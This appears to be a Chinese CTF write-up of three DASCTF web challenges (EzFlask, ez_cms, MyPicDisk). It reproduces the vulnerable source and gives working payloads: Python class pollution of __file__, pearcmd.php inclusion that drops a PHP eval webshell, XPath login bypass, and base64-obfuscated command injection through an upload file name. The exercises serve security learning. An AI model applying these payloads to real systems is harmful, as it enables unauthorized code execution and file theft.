DASCTF
WEB
EzFlask
源码
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)审计发现有这个函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)百度后得知这是python的原型链污染。
通过分析,我们的目的是通过
/register
路由污染__file__
变量,从而实现在/
路由下的文件任意读取。学习过程中发现,需要
__init__
来实现全局变量的污染,但测试发现__init__
被过滤了。通过Unicode编码
__init__
,实现了__file__
的污染。payload:
{"username":"123","password":"123","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/1/environ"}}}
ez_cms
打开环境,信息收集得到这个cms是
熊海cms V1.0
。百度这个cms的漏洞,得到几个漏洞,分别是sql注入,文件包含,文件上传,文件任意下载,后台认证绕过。
尝试sql注入,用sqlmap一把梭,没找到flag,尝试日志写马,发现不行。
尝试文件上传,发现不能上传任何文件。
尝试文件任意下载,访问/admin,用
admin:123456
登录进后台,选择内容管理--下载列表
,点那个🖊的图标,进入修改页面。在修改页面的文件位置填上文件的路径,然后点击保存。
返回一开始的页面,点🖊旁边的 √ 进入下载页面,然后点击联通下载,即可任意下载文件。
发现这里只能下载文件,但不知道flag在哪个文件,只能放弃。
文件包含功能,用上面的文件任意下载index.php的源码。
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件分析得知,使用了
addslashes
做了过滤,因此无法使用伪协议,而且包含的时候拼接了.php
,也没办法绕过。使用
pearcmd.php
进行文件包含。(参考链接:https://blog.csdn.net/JCPS_Y/article/details/127541665)payload:
?+config-create+/&r=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php
尝试过程中发现一直没有成功,猜测php的路径不对。
想到题目环境是用
doctor
搭的,是不是它们的php路径不一样呢?于是去打开个doctor
去尝试一下,发现果然不一样。于是修改路径为
/usr/share/php/pearcmd
,再次尝试,发现成功了。payload:
?+config-create+/&r=../../../../../../../../../../../usr/share/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php
最后用r包含
/tmp/hello,php
,即可实现rce。最后
cat /flag_you_find_ya
,即可得到flag。
MyPicDisk
万能密码登录,发现登录成功,再次登录一次,可以在源码中看到提示。(payload:
username=admin'or 1=1 #
)下载得到index.php的源码。
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
</body>
</html>审计代码,发现能够上传文件。当
$_SESSION['user']
不为空且file
不存在时,可以上传文件,而登录成功后,$_SESSION['user']
就不为空了。进一步发现,当
file
变量存在时,new了一个FILE($filename);
。查看这个类,发现这个类在
__destruct
时会将文件名当成命令来执行,而且在__construct
时,会判断文件名是否只有一个.
且没有/
,同时还会判断文件是否存在。class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}于是编写一个文件上传的页面,抓包,并将包修改一下。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
background-color: #fff;
border-radius: 5px;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.form-group {
margin-bottom: 20px;
}
.form-group label {
display: block;
font-weight: bold;
margin-bottom: 5px;
}
.form-group input[type="file"] {
padding: 10px;
border: 1px solid #ccc;
border-radius: 5px;
background-color: #fff;
}
.form-group input[type="submit"] {
padding: 10px 20px;
background-color: #4CAF50;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
}
.form-group input[type="submit"]:hover {
background-color: #45a049;
}
</style>
</head>
<body>
<div class="container">
<h2>文件上传</h2>
<form action="http://d4cdc047-fde9-4f75-99ce-4f8b8d0cb06c.node4.buuoj.cn:81/" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="file">选择文件</label>
<input type="file" name="file" id="file" />
</div>
<div class="form-group">
<input type="submit" value="上传" />
</div>
</form>
</div>
</body>
</html>接着发包两次,出现文件上传成功,接着修改文件名为
;ls;.jpg
,上传成功后,访问?file=;ls;.jpg
,发现可以rce了。因为
.
和/
用不了,所以我们使用echo命令+反斜杠的方法来rce。比如 `echo 需要执行命令的base64编码 | base64 -d`
传入文件名 ;`echo bHMgLw== | base64 -d`;.jpg ,即可成功查看根目录。最后上传文件名为
;`echo Y2F0IC9hZGoq | base64 -d`;.jpg
即可得到flag。